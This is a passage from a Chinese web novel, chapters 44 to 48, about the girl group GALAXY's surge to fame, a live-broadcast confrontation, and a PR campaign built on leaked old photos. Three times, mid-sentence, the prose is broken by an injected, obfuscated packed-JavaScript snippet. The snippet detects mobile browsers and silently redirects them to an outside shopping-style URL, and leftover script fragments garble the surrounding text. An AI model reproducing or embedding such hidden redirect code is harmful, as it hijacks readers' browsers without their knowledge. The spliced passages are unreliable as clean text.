舞台太滑了,这是露天场地的通病。在一个剧烈的膝盖滑跪动作中,童瞳的落点恰好是一滩积水。 “要摔!”台下的黑粉心头一喜。 然而,没有失误。 童瞳利用那滩水带来的阻力,核心肌群在那一瞬间爆发出了恐怖的控制力,硬生生将原本的滑跪变成了一个极具攻击性的定点。水花飞溅,混合着泥点甩在她精致的演出服上,她连眉毛都没皱一下,反而顺势起身,给了镜头一个极具挑衅的Wink。 这是无数个日夜在练习室的地板上摔打出来的肌肉记忆。是天赋不够,拿命来凑的铁证。 最后是谢卿歌的Rap段落。 她没有按照原本的歌词唱,她抓着麦克风,直接跳到了舞台边缘的音箱上,指着台下那片黑暗,改掉了原本 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而采访中,主持人例行公事地询问她们对接下来的市场反响是否感到担忧。 “我们当然希望更多人能喜欢这张专辑。”商颂拿起麦克风,平静地回答,“但如果不能,也没关系。” 她笑了,那是一种燃尽一切后无所畏惧的笑容。 “因为这张专辑,最重要的那个听众,我们已经取悦了。” “那就是我们自己。” 而那张在最初12小时内销量惨淡的专辑,在音乐节结束后的一个小时里,以一种井喷式的姿态,销量突破了一百万。 无数的听众涌入评论区,只留下同一句话。 “我们听到了。” 这是一场足以被写入公关教科书的“逆风翻盘”。 商颂那自杀式的表演,非但没有让她被钉上“劣迹艺人”的耻辱柱,反而以一种极其诡异的方式,将她塑造成了一个“敢于直面过去、不畏强权、坦诚得令人心疼”的悲剧性女战士形象。 这在内娱“道歉求生”的传统艺能里,堪称一次离经叛道的行为艺术。它成功地戳中了当下年轻观众群体中,那股被压抑已久对虚伪人设和粉饰太平的逆反心理。 ——凭什么犯错的人要永远低头?凭什么被资本裹挟过的过去,就要成为一生的原罪? 更令人始料未及的是,这场风暴将大众的视线,从单纯的八卦猎奇,强行扭转到了对专辑《BeMyself?》本身的深度解读上。 “她们的歌,就是她们的态度。这张专辑,就是她们的宣战檄文。” 无数的自来水乐评和深度解读视频,如同雨后春笋般涌现。人们开始认真地去聆听《永动快乐机》里安夕来的疲惫,《市场圣母》中谢卿歌的讽刺,《回音室小夜曲》里童瞳的警示,以及《杜鲁门女孩的忧郁》中商颂那场关于真实与谎言的终极拷问。 然后,他们震惊地发现,这根本不是一张自怨自艾的“卖惨专辑”,这是一张充满了思辨、勇气和女性主义光辉的“问题专辑”。 于是,奇迹发生了。 在音乐节结束后的七十二小时内,《BeMyself?》的数字专辑销量,如同坐上了火箭,以一种令所有业内人士都跌破眼镜的速度,从最初的不足五十万,一路狂飙突进,突破了一百万,三百万,五百万……最终,定格在一个足以载入华语乐坛史册的数字——八百六十四万张。 这个数字,不仅刷新了国内女团专辑销量的历史记录,更是将GALAXY一步推上了“现象级”的神坛。 三家公司的电话,几乎要被各大音乐节、品牌方、时尚杂志和影视项目的邀约给打爆了。GALAXY,这个险些被一场舆论风暴扼杀在摇篮里的新生组合,在一夜之间,成为了资本市场上最炙手可热的宠儿。 45. 第 45 章 年末,国内的空气里已经裹挟着凛冬将至的清冽。 而对于内娱而言,真正的“冬天”早已过去。GALAXY的异军突起,如同一场猛烈的地壳运动,不仅震碎了旧有的女团格局,更将一股新鲜、滚烫、甚至带着点离经叛道味道的岩浆,注入了这片一度死气沉沉的流量平原。 热钱回流,市场复苏。最直观的体现,便是那场堪称年度流量绞肉机的“跨年”拼盘演唱会。 往年这种由资本主导的晚会,更像是明星们的“堂会”,论资排辈,流量至上,舞台效果往往差强人意。 但今年,主办方显然嗅到了市场风向的转变,砸下血本,将晚会升级为一场真正意义上的顶级音乐盛典,不仅邀请了内娱半壁江山,更是将舞台的硬件配置和直播技术拉到了天花板级别,野心昭然若揭——他们要的,不仅是销售额,更是载入史册的话题度。 而GALAXY,无疑是这张星光熠熠的名单上,最令人瞩目也最被寄予厚望的名字。 后台,是一座被精心伪装成“伊甸园”的修罗场。 走廊里铺着柔软的暗红色地毯,吸收了大部分嘈杂的脚步声。行色匆匆的工作人员穿着统一的黑色T恤,脸上挂着谦卑而疏离的笑容,熟练地在各个贴着烫金名牌的独立化妆间门口穿梭、低声交涉。 这里是一个看不见的、等级森严的金字塔。谁的化妆间离主舞台最近,谁的助理能拿到品牌方特供的最新款咖啡,谁的名字在流程单上被加粗放大……每一个细节,都是对艺人当下商业价值最赤裸的标定。 而GALAXY的化妆间,无疑位于金字塔的顶端。 门是双开的,门上除了她们的名字,还有一个由主办方“贴心”加上去的金色皇冠logo。房间宽敞得像个小型套房,巨大的落地镜墙前,四张独立的化妆台一字排开,上面摆满了各大蓝血品牌送来的、尚未发售的最新款彩妆和护肤品。 谢卿歌刚做完发型,正百无聊赖地瘫在沙发上刷手机,当她看到隔壁LIPSTICK的队长花臻,被经纪人簇拥着,从她们门口低头快步走过,甚至不敢往里多看一眼时,忍不住发出一声充满恶趣味的感叹:“三十年河东,三十年河西啊。这才几个月,攻守之势异也。” 安夕来正在闭目养神,闻言无奈地睁开眼,笑了笑,“卿歌,少说两句。大家都不容易。” “我没别的意思,”谢卿歌耸耸肩,将手机扔到一边,“我就是觉得,这圈子真他妈现实得可怕。你红的时候,连呼吸都是对的;你不红的时候,连呼吸都是在抢别人的空气。” 商颂坐在最角落的化妆台前,化妆师正在为她做最后的定妆。她没参与她们的讨论,只是透过面前巨大的镜子,安静地看着镜子里那个被精心雕琢的、陌生的自己。 今天的舞台妆,依旧延续了GALAXY“女王”的基调,却又有所不同。妆感更清透,更强调皮肤本身的质感,眼妆的部分没有再用攻击性强的猫眼眼线,而是用大地色的眼影晕染出深邃的轮廓,只在眼尾用深棕色轻轻拉长,配上根根分明的睫毛,营造出一种慵懒、疏离,却又带着一丝洞悉一切的疲惫感。 镜子里的人,眼神沉静,看不出喜,也看不出悲。 “商颂姐,”年轻的化妆师小心翼翼地开口,打破了她的沉思,“您的脸色好像不太好。是不是没休息好?要不要用一点提亮液?” “不用了。”商颂回过神,对着镜子里的人扯出一个无可挑剔的微笑,“这样就很好。” 就在这时,一阵喧闹声从门外传来,化妆间的门被敲响了。 “谁啊?”谢卿歌不耐烦地问。 门被推开一条缝,探进来一个总是笑呵呵的脑袋。 “女王们,彩排前最后慰问一下。”沈道非闪身进来,身后还跟着APRICITY其他成员。 今天的APRICITY,同样是盛装出席。统一定制的暗色系丝绒西装,剪裁合体,将五个身形挺拔的男人衬托得如同从中世纪油画里走出的贵族。 两支顶流团队,在这间小小的化妆间里,狭路相逢。 空气瞬间变得有些微妙。 “黎名!”谢卿歌一眼就看到了队伍最后那个眼神躲闪的罪魁祸首,毫不客气地指着他,“你上个星期是不是又偷用我的限量版发蜡了?!我闻着味儿了!” 黎名被点名,浑身一僵,随即梗着脖子反驳:“什么叫偷用?!那是艺术的交流!你的发蜡根本配不上我这颗为舞蹈而生的头颅!” “放屁!你就是个小偷!” 看着这两个一见面就掐的“欢喜冤家”,化妆间里凝滞的气氛,总算缓和了些许。 “今晚是直播。”伯雪寻的视线落在她脖颈处那条红绳上,喉结微微滚动,“也是我们这一年来,交出的最后一份答卷。” “怎么,伯老师怕我怯场?”商颂勾起红唇,对着镜子里的他挑了挑眉,“我可是从地狱里爬出来的,这点场面算什么。” “我是怕你太疯。” 伯雪寻俯下身,温热的呼吸喷洒在她的耳后,那是他最喜欢流连的敏感带,“听说你们今晚要把舞台点着?商颂,你最好悠着点。万一裙子烧着了,我不想在几亿人面前冲上去给你当灭火器。” “那就别救。” “咳,”沈道非清了清嗓子,强行将众人的注意力拉回正题,“今晚的舞台,意义非凡。这不仅是GALAXY和APRICITY在大获成功后的首次同台,也是向整个市场展示我们‘战略同盟’肌肉的最好机会。所以……” “只许成功,不许失败。拿出我们最好的状态,让所有人看看,这个时代,到底是谁说了算。” GALAXY与APRICITY,既是同盟,也是彼此最强大的、潜在的竞争对手。今晚的舞台,不仅关乎荣誉,更关乎未来资源分配的话语权。 晚上九点半,晚会进行到最高潮的阶段。 GALAXY作为压轴前的最后一个表演嘉宾,即将登台。 后台通往主舞台的巨大升降台旁,四个女孩做着最后的准备。她们换上了一身黑色点缀着银色流苏与碎钻的改良军装风演出服,长筒皮靴,妆容凌厉,像四位即将奔赴战场的女武神。 “紧张吗?”安夕来深吸一口气,小声问旁边的商颂。 “有点。”商颂坦言。这是她们第一次,在如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284731|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盛大面向全国甚至全亚洲直播的舞台上,表演她们自己的歌。 “怕个球!”谢卿歌压了压腿,眼神里是熟悉的自信,“外面那些人,不管是来看我们笑话的,还是来为我们欢呼的,今天晚上,都得把膝盖献给我们!” 童瞳没有说话,只是默默地伸出手,与其他三人的手,紧紧地叠在了一起。 “GALAXY!” “Let''sgo!” 升降台缓缓启动,将她们送向那个被无数灯光和目光聚焦的、荣耀与危险并存的战场。 她们表演的,是专辑的主打曲《杜鲁门女孩的忧郁》。但这并非录音室版本的重现,而是经过了AlexChen亲自操刀改编的“摇滚交响版”。 慵懒忧郁的布鲁斯吉他被更加激烈的失真音墙所取代,后方的大屏幕上,一支由四十人组成的交响乐团,在激昂的鼓点中奏出华丽而悲壮的弦乐。 整个舞台,变成了一场关于幻灭与重生的盛大歌剧。 商颂站在舞台中央,当她唱出第一句歌词时,那股倦怠而疏离的“商颂式”唱腔,瞬间就将现场数万观众,拉入了一个由她构建的华丽而破碎的世界。 而其他三位成员,则如同她分裂出的不同人格。童瞳的rap是愤怒的质疑,谢卿歌的舞蹈是痛苦的呐喊,安夕来的和声则是那最后一点不肯泯灭的温柔。 表演的最后,当商颂唱出那句“就让我在这场盛大的虚假里,慢慢疯掉,慢慢地变老”时,她没有像MV里那样,露出一个虚假的微笑。 她抬起手,对着面前的镜头,用口红,在自己的唇上,画下了一个代表着“禁止”与“反抗”的红色叉号。 然后,她直视着镜头,眼神里没有了任何“忧郁”,只有一片无所畏惧的清明。 全场死寂,随即,爆发出山崩海啸般的尖叫。 GALAXY的舞台,再次封神。 表演结束,四个女孩在如雷的掌声中退场,巨大的亢奋与随之而来的虚脱感,让她们的脚步都有些发软。 “我操。”谢卿歌一把摘掉耳返,大口地喘着气,“我刚才腿都是抖的。” 她们没有立刻回到化妆间,而是被工作人员引导到了舞台侧面的一个小型待机区。 这里是为即将上场的压轴嘉宾,以及刚刚表演完的艺人准备的,可以最近距离地观看舞台。 APRICITY的成员们,不知何时,已经等在了那里。 伯雪寻靠在最里面的阴影里,看不清表情。而黎名他们,则在看到GALAXY四人走过来时,不约而同地送上了发自内心的掌声。 “牛逼。”黎名由衷地赞叹,他看向安夕来,“安夕来,你刚才真的会发光。” 安夕来被他这直白的夸赞弄得脸上一热,不自然地别过了头。 就在这时,主舞台的灯光再次暗下,主持人激动人心的声音响彻全场。 “感谢GALAXY为我们带来的殿堂级舞台!今晚的狂欢,已经接近尾声!但最盛大的焰火,才刚刚准备点燃!接下来,让我们用最热烈的掌声,有请今晚的压轴嘉宾——时隔三年,王者归来!让我们一起,迎接祁演!” 46. 第 46 章 来了。 商颂的心,猛地一紧。她下意识地抬起头,看向侧台的阴影处。祁演已经站在了那里,背对着他们,只留下一个穿着张扬的铆钉皮衣的孤傲背影。 帝英传媒为他的这次“王者归来”,显然下足了血本。整个舞台被布置成一个充满了后工业朋克风格的巨型牢笼,巨大的铁链从舞台上方垂下,生锈的齿轮在背景屏幕上缓缓转动。 音乐响起,是那首曾引爆全场的《自画像》。但这一次,经过了顶级制作团队的重新编曲,失真的吉他音墙变得更厚重,鼓点充满了攻击性,甚至加入了尖锐的警报声和工业噪音采样,将那份属于个人的嘶吼,放大成了一场属于整个时代的困兽之斗。 祁演转过身。 他的脸上,带着混不吝的笑容。他没有立刻开唱,而是走到舞台边缘,半蹲下来,将话筒对准了台下。 台下的粉丝瞬间明白了他的意图,用尽全身力气,嘶吼出那段她们早已烂熟于心的歌词。 【聚光灯的灼热,还没散干净 手机里亿万个像素,刻着我的罪名】 祁演笑了。他收回话筒,加入了这场万人合唱的狂欢。 那一刻,他不再是一个被审判的囚徒,而是带领着所有不被理解的灵魂,共同冲破牢笼的摇滚暴君。 整个世界,都在为他而疯狂。 商颂静静地看着,看着那个在舞台上燃烧着自己,将所有痛苦都化为力量的男人。她知道,他做到了。他真的,在废墟之上,重建了他的王国。 然而,就在歌曲即将进入最高潮的吉他solo时,舞台上所有的音乐,却毫无预兆地,戛然而置。 全场哗然。 祁演也愣住了,他停下动作,疑惑地看向音控台的方向。 主舞台的灯光,在那一瞬间,全部熄灭了。只剩下舞台正中央,那座巨大的牢笼装置,还在幽幽地闪烁着红光。 “什么情况?演出事故?” “我操!别啊!我刚燃起来!” 就在所有人都以为这是一场放送事故时,一束如同月光般的追光,悄无声息地打在了舞台的另一侧。 那里,不知何时,出现了一架纯白色的三角钢琴。 一个穿着白色长裙、身形纤细的女人,安静地坐在钢琴前。她的侧脸在柔和的光线下,显得圣洁而遥远,像天边偶然驻足、下一秒便要飘散的云。美得不真实,美得近乎神迹。 现场的导播,显然也懵了。镜头迟疑了几秒,才缓缓地推向那个突然出现的身影。 当那张精致、清冷、让无数人魂牵梦萦的脸,清晰地出现在大屏幕上时,整个世界,仿佛都被按下了静音键。 侧台待机区,商颂的瞳孔,骤然收缩。 谢卿歌下意识地捂住了嘴,发出一声压抑的惊呼。 APRICITY那边,黎名的笑容僵在了脸上,而伯雪寻,那张总是波澜不惊的脸,在看清屏幕上的人时,周身的空气仿佛瞬间凝结成了冰。 是她。 岑星。 那个在SOLAR塌房风暴后,与周彻一同远走高飞,从内娱彻底销声匿迹的女人,竟然以这样一种毫无预兆的方式,重新出现在了所有人的面前。 “抱歉,打扰一下。” 她的声音,透过麦克风,清晰地传来。空灵,清冷,带着一种不食人间烟火的距离感。 她没有看任何人,只是微微侧过头,目光越过整个喧嚣的场地,落在了那个还愣在“牢笼”中央浑身僵硬的身影上。 “有一首歌,我想在这里,唱给一个人听。” 她的手指,轻轻地落在了黑白琴键上。 祁演的身体,猛地一震。 侧台的商颂,几乎是立刻就闭上了眼睛,一股冰冷的无力感,如同潮水般再次将她淹没。 是那首歌。 《天狼星》。 那首由祁演亲手写下,承载了他所有卑微的爱意和巨大的野心的情书。 【你悬在天际如此静谧 银河在你眼中轻盈盈 我是奔跑在大地的身影 只为能看清你的眼睛】 岑星开口了。她的声音,比CD里更空灵,更纯粹,像一阵来自遥远星河的风。 她唱的,不再是祁演版本里那份不甘的嘶吼与追逐。而是一种回望,一种告别,一种带着巨大悲悯的、对一段早已逝去的青春的咏叹。 舞台上,一边是月光下圣洁的白裙女神,一边是牢笼中沉默的黑衣暴君。光与影,回忆与现实,构成了此刻最残忍,也最唯美的画面。 而直播间里,那短暂的静默之后,早已彻底疯了。 【我□□□□□□操!!!!!!是岑星!!!!!!活的岑星!!!!!!我他妈是在做梦吗?!!!!!!】 【正主下场了!!!朋友们!内娱史上最抓马的一幕诞生了!!!前女友当着全国观众的面,给前男友唱他写给她的歌!这是什么BE美学天花板剧情!】 【祁演的表情,我心碎了!他整个人都傻了!那不是表演,那是真的灵魂被抽走了!】 【所以之前SOLAR塌房的真相到底是什么?!岑星为什么要走?!现在又为什么要回来?!主办方!你给我出来解释清楚!】 【商颂呢?!快把镜头给商颂!她在哪?!让我看看她的表情!!!】 【前面的别带商颂!关我们颂姐屁事!她才是最无辜的那个好吗?!】 【无辜?笑死,某些粉丝别洗了。岑星一回来,某位‘现任’的脸色肯定比谁都难看吧?正主面前,赝品还能站得住脚吗?】 恶毒的、看热闹不嫌事大的弹幕,像一把把锋利的刀子,在无形的网络世界里,疯狂地切割着与这件事相关的所有人。 舞台上,岑星的演唱,已经进入了尾声。她没有再看祁演,只是望着头顶那片由灯光构成的虚假星空,轻轻地唱出最后一句。 【就让这8.6光年的距离,成为我们之间,永恒的美丽。】 琴音落下,余韵悠长。 她站起身,没有理会现场山呼海啸般的议论声,也没有理会那个还站在原地、仿佛被抽走了灵魂的男人。她只是对着镜头,微微鞠了一躬,然后转身,如同来时一样,悄无声息地消失在了舞台的黑暗中。 仿佛她只是来这里,为一段早已结束的故事,画上一个迟到却又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291048|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 残忍的句号。 整个世界,都安静了。 主舞台的灯光重新亮起,主持人尴尬地拿着手卡走上台,试图用最专业的素养,来圆这个突如其来的惊天变故。 然而,所有人的目光,都还聚焦在那个依旧一动不动的身影上。 祁演还站在那里。他脸上的妆容,被舞台的强光照得有些惨白。他那身充满了攻击性的铆钉皮衣,此刻看起来,像一件沉重而可笑的戏服。 那个刚刚还在舞台上嘶吼着要对抗全世界的摇滚暴君,在这一刻,被彻底击碎了。 “祁演!” 侧台,商颂终于忍不住,冲了出去。她不能眼睁睁地看着他,在全国观众面前,就这样被钉在耻辱柱上,被无数双眼睛,当成一个笑话来观赏。 然而,她刚跑出两步,手腕就被人从后面一把攥住。 她猛地回头,对上了一双燃烧着压抑怒火的眼睛。 是伯雪寻。 “别去。”他几乎是从牙缝里挤出这两个字。 “放开我!”商颂挣扎着,她看着舞台上那个摇摇欲坠的身影,“他需要……” “他需要的不是你!”伯雪寻的力道更大了,他死死地攥着她,将她往自己身后拽,“商颂,你给我看清楚!那是他的战争!是他和岑星,和周彻,和那段他妈的该死的过去之间的战争!你现在冲上去,除了把自己也变成这场闹剧里的一个笑话,还能做什么?!” “你忘了那些人是怎么骂你的了吗?!你忘了你是怎么才从那个泥潭里爬出来的吗?!你现在要去哪?!回去吗?!” 他的每一个字,都像一记响亮的耳光,狠狠地扇在商颂的脸上,也扇在她那颗早已被情绪冲昏的混乱的心上。 是啊。 她现在冲上去,能做什么呢? 以什么身份呢? 是并肩作战的队友?还是那个被全网嘲讽试图取代白月光的“赝品”? 她的脚步,终于停了下来。 而就在他们拉扯的这短短几秒内,舞台上的祁演,终于动了。 他没有像任何人预想的那样,崩溃,或者暴怒。 他只是缓缓地,抬起了头。然后,对着镜头,对着台下所有等着看他笑话的人,露出了一个比哭还难看还充满了自毁气息的笑容。 他拿起麦克风,嘶哑着嗓子,一字一顿地对着这个操蛋的世界,也对着那个刚刚离去的身影,说出了他最后的,也是唯一的回答。 “游戏结束了。” 说完,他将那支承载了他所有荣耀与不堪的话筒,重重地砸在了地上,发出代表着一切终结的巨响。 然后,他转身,头也不回地,走下了那个成就了他,也最终毁灭了他的舞台。 整个世界,兵荒马乱。 而商颂站在一片巨大的、无声的废墟之上,看着左边那个正在走向失控与毁灭的身影,又看着右边这个用冰冷的理智将她死死禁锢的男人。 她忽然觉得,那个在《杜鲁门的世界》里,最终选择推开那扇画着蓝天白云的门,走向未知的黑暗的女孩…… 是何其的幸运。 因为至少,她还有一扇门,可以选择。 47. 第 47 章 回到北京的寻星娱乐大本营。 所有人都冷汗涔涔,因为岑星的回归意味着他们即将迎来一个强大的对手,不仅是商业上还有资本界。 苏曼忧虑道:“岑星背后肯定有周彻撑腰,而我们在巴黎几乎等同于跟周彻宣战了。” “硬碰硬,是下策。否认,更是愚蠢。”商颂走到桌前,“对付一个自恋到极点又掌控欲爆棚的男人,最好的方式,不是去反驳他为你写下的剧本。” “而是釜底抽薪,抢过他的笔,为他,也为所有人,写下一个他们意想不到的故事结局。” “一个让他哑口无言,甚至不得不配合我们演下去的故事。” 所有人的目光,都聚焦在了她的身上。连一向运筹帷幄的苏曼,眼中都流露出了一丝好奇。 “他不是想让全世界都看到他对我的‘志在必得’吗?”商颂将那张专辑放回桌上,一字一顿地说,“那我们就告诉全世界——” “这份‘志在必得’的背后,另有其人。” “岑星!”谢卿歌脱口而出,随即,她像是想到了什么,眼睛猛地瞪大,“你的意思是……” “没错。”商颂点了点头,她看向同样一脸震惊的苏曼和翟海良,“周彻唯一的软肋,不是我,也从来不是GALAXY。而是那个他真正想保护,也一直在用他的方式保护着的‘白月光’岑星。” “他之所以对我表现出那种病态的占有欲,除了他那该死的掌控欲之外,更深层的原因,是因为在他眼里,我不过是岑星的一个影子,一个他得不到白月光之后,退而求其次的替代品。他对我所有的‘好’,都是一场为了弥补他内心遗憾的自我感动。” “所以,我们要做的,不是去澄清我和周彻的关系。而是要用一种更巧妙的方式,把岑星和周彻这对‘青梅竹马’、‘意难平’的白月光故事,重新推到大众的面前。” “我们要让所有人看到,巴黎那场盛大的‘求婚’,或许并不是霸道总裁对小明星的强制爱,而是一场爱而不得的‘移情’大戏。周彻真正想戴上戒指的人,另有其人。而我商颂,不过是这场独角戏里,那个被推上台的最可悲的‘替身’。” “我们,要把八卦变成言情,把丑闻变成悲剧。” 这番堪称“大逆不道”的战略构想,让整个会议室陷入了死一般的寂静。 “这太冒险了。”公关组长第一个站出来反驳,她的额头上甚至渗出了冷汗,“这等于是在周彻的雷区上跳舞!一旦激怒了他……” “他不会的。”商颂打断了她,语气笃定,“因为这个故事,不仅能把我从‘被包养’的泥潭里摘出来,还能最大限度地保护岑星。它会将岑星塑造成一个被命运捉弄的白月光女主角。周彻为了维持他那深情的人设,为了不让岑星受到任何舆论的伤害,他不仅不会反驳,甚至会默认,甚至配合我们。” “而代价,只是牺牲他那点在公众面前的‘面子’。比起让他失去对他最重要的那颗棋子的掌控,这点‘面子’,他付得起。” “可是这对岑星不公平。”安夕来犹豫着开口,“她没有伤害过我们,把她再拉进来……” “安安,”商颂看向她,眼神是前所未有的冷静,“在这场游戏里,没有人是无辜的,也没有绝对的公平。她选择了和周彻站在一起,享受他羽翼庇护的同时,就必须承担被卷入风暴的风险。” “更何况,”商颂顿了顿,“我们不是要伤害她。我们是在‘神化’她。” 会议室里再次陷入沉默。所有人都被商颂这个大胆、疯狂,却又逻辑缜密、一环扣一环的“反杀计划”给震住了。 “我同意。” 良久,一直沉默的童瞳,忽然开口。 “这不是阴谋。”童瞳一针见血,“这是战争。战场上,没有骑士精神,只有你死我活。他把我们逼到了悬崖边上,我们能做的,只有拉着他最在乎的人,一起跳下去。” 谢卿歌也像是被点燃了,她狠狠一拍桌子,“操!干了!不就是比谁更疯吗?!老娘奉陪到底!” 安夕来看着她们三个,最终也重重地点了点头。 所有人的目光,都落在了那个唯一能做出最终决定的人身上。 苏曼看着眼前这四个已经彻底“疯了”的女孩,看着她们身后那片充满了不确定性的舆论战场。她知道,这是一个巨大的赌博。一旦失败,GALAXY将彻底万劫不复。但一旦成功…… 她将亲手缔造一个,前所未有的神话。 她缓缓地站起身,走到商颂面前。 “我只有一个问题。”她看着商颂的眼睛,“证据呢?光靠我们一张嘴去讲故事,没人会信。我们需要实锤。” 商颂笑了。 她从包里拿出一个小小的U盘,插进了会议室的电脑。 “证据,我早就准备好了。” 屏幕上,一张张被精心修复过的高清老照片,缓缓浮现。 那是属于南嵘四季公园的夏天。五岁的周彻,穿着小小的西装,别扭地站在C位;他身边,是穿着公主裙、笑容灿烂的岑星;再旁边,是笑得像个傻子一样的祁演。而在照片的最角落,一个穿着洗得发白校服的、看不清眉眼的女孩,正抱着一本书,安静地看着他们。 照片一张张地切换。从小学到中学,从成都到南嵘。有他们在篮球场上挥洒汗水的侧影,有他们在LiveHouse后台勾肩搭背的合照,有他们在游轮甲板上共同看烟花的背影…… 每一张照片,构图都极其巧妙。周彻和岑星,永远是画面的中心,他们之间的氛围,亲密、自然,充满了青梅竹马的默契与张力。而祁演和商颂,则永远像两个格格不入的、心事重重的旁观者,是这段“神仙爱情”故事里,最忠实的见证者,和最悲情的配角。 这些照片,大部分都来自于周彻和岑星的私人社交账号。而商颂,则是那个在无数个失眠的夜里,将这些碎片一点一点地拼接起来,试图从中找到一丝关于自己存在意义的可怜虫。 而现在,这些曾经刺痛过她的证据,都将成为她反击的、最锋利的武器。 “找一个最可靠的渠道,”商颂关掉照片,看着公关组长,“把它们,放出去。” 当晚,在“深水鱼塘”的论坛里,一篇标题为《独家深扒!京圈太子爷与白月光的十八年虐恋——原来,我们都嗑错了CP》的帖子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294632|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,以一种病毒般的姿态,悄然引爆。 帖子用一种极尽暧昧与悲情的笔触,讲述了周彻与岑星那段“爱而不得”的过往,并将那些“实锤”照片一张张地贴出,配上令人浮想联翩的解读。 “所以,巴黎那场惊世骇俗的‘求婚’,或许并不是终点,而是一场盛大的、充满了报复与不甘的‘表演’。他想证明给那个远走他乡的白月光看,他可以轻易地捧起另一个‘她’。而商颂,从始至终,都不过是这场豪门虐恋里,最无辜,也最可悲的‘替身’。” 帖子发布的瞬间,整个论坛,乃至整个社交网络,都陷入了长久的沉默。随即,爆发出比之前任何一次都更猛烈、更失控的讨论。 #周彻白月光是岑星# #商颂替身# #心疼商颂# 三个全新的词条,以一种无可匹敌的姿态,血洗了榜单,将之前那个不可一世的#周彻商颂求婚#,无情地碾压在了脚下。 舆论,在短短一个小时内,发生了惊天动地的逆转。 “釜底抽薪”的计划,成功得超乎想象。 “深水鱼塘”论坛的高楼里,画风变得光怪陆离。 【我操!我前天还在骂商颂是拜金女!今天我就想跪下来给她道歉!这哪里是替身,这简直是当代“菀菀类卿”啊!太惨了!周彻这个狗男人!】 【楼上的姐妹,我昨天也在骂。我现在只想说,商颂,妈妈爱你!清醒一点,别再给那个渣男当替身了!你这么好,值得更好的!看看我们祁演吧!或者伯雪寻也行啊!求求了!】 【只有我一个人觉得,周彻这波操作很深情吗?他做这一切,可能就是为了逼岑星表态啊!巴黎求婚,就是演给白月光看的一场戏!而商颂,是这场戏里,最无辜,也最敬业的女主角。她明知自己是替身,却还是陪他演了下去……我哭死!这什么绝世小妈文学!】 【姐妹们别哭了!都给我清醒一点!GALAXY的新专辑《BeMyself?》都给我去听了吗?!特别是那首《杜鲁门女孩的忧郁》!结合这个替身故事,这首歌简直就是商颂的泣血自白啊!‘我的世界是一座完美的孤岛,除了我,所有人都知道’!她早就知道自己活在一个巨大的谎言里!她只是不肯认输!】 【卧槽!这么一说,GALAXY这张专辑的立意,瞬间就从“女王的牢骚”升华成了“替身的宣战”!她们不是在抱怨,她们是在反抗!是在告诉周彻,也是告诉全世界——老娘不干了!老娘要做自己!】 这场由商颂亲手导演的“替身文学”,成功地将自己从一个被资本定义的“污点艺人”,重塑成了一个在豪门虐恋中艰难求生、试图用音乐反抗命运的“悲情大女主”。她个人的话题度,达到了一个前所未有的顶峰。更重要的是,这场舆论的逆转,将无数带着同情与好奇的路人,引向了《BeMyself?》这张专辑。 专辑销量,在经历了那场堪称奇迹的“音乐节逆袭”之后,迎来了第二波更加凶猛又戏剧性的暴涨。一周之内,数字专辑总销量,悍然突破了一千万张大关。 这个数字,将GALAXY,也将商颂本人,彻底焊死在了内娱的神坛之上。 48. 第 48 章 “操。” GALAXY的别墅里,谢卿歌看着手机上那刺眼的一串零,半天,才憋出这么一个字。她抬起头,用一种看外星生物的眼神看着那个正窝在沙发角落里,抱着笔记本电脑的商颂。 “商颂,你老实交代,”她一脸严肃地凑过去,“你脑子里是不是装了个阿尔法狗?专门用来计算舆论走向和人心向背的那种?你这步棋走得我他妈头皮发麻。” 安夕来也心有余悸地点了点头,“颂颂,我到现在还觉得像做梦一样。我昨天还接到了以前FLOW%ER时期一个死对头女团成员的电话,她居然跟我道歉了。她说,她以前一直觉得我是装清纯,现在才知道,原来我们都是‘永动快乐机’。她还说她买了我们一百张专辑。” 就连一向惜字如金的童瞳,也难得地抬起头,看了一眼那个已经重新沉浸在自己世界里的商颂,然后,默默地将一瓣剥好的橘子,递到了她的嘴边。 一切似乎都在朝着最好的方向发展。她们不仅赢得了战争,还赢得了前所未有的尊重与支持。 商颂张开嘴,下意识地将那瓣橘子吃了进去。酸甜的汁水在味蕾上爆开。她知道,这只是暂时的暴风雨前的宁静。只要周彻一天不倒,这场游戏就永远不会结束。 她真正担心的,不是周彻,而是那个选择了与虎谋皮的、最不确定的X因素——岑星。 商颂的预感,再次一语成谶。 就在“替身文学”发酵到最高潮,所有人都在猜测周彻与岑星这对“白月光CP”将何去何从时,一个更劲爆的、足以将整个牌局彻底掀翻的炸弹,在所有人毫无防备的情况下,引爆了。 源头,是一组被某个常年蹲守在洛杉矶的华人狗仔团队,高价卖给国内媒体的“独家照片”。 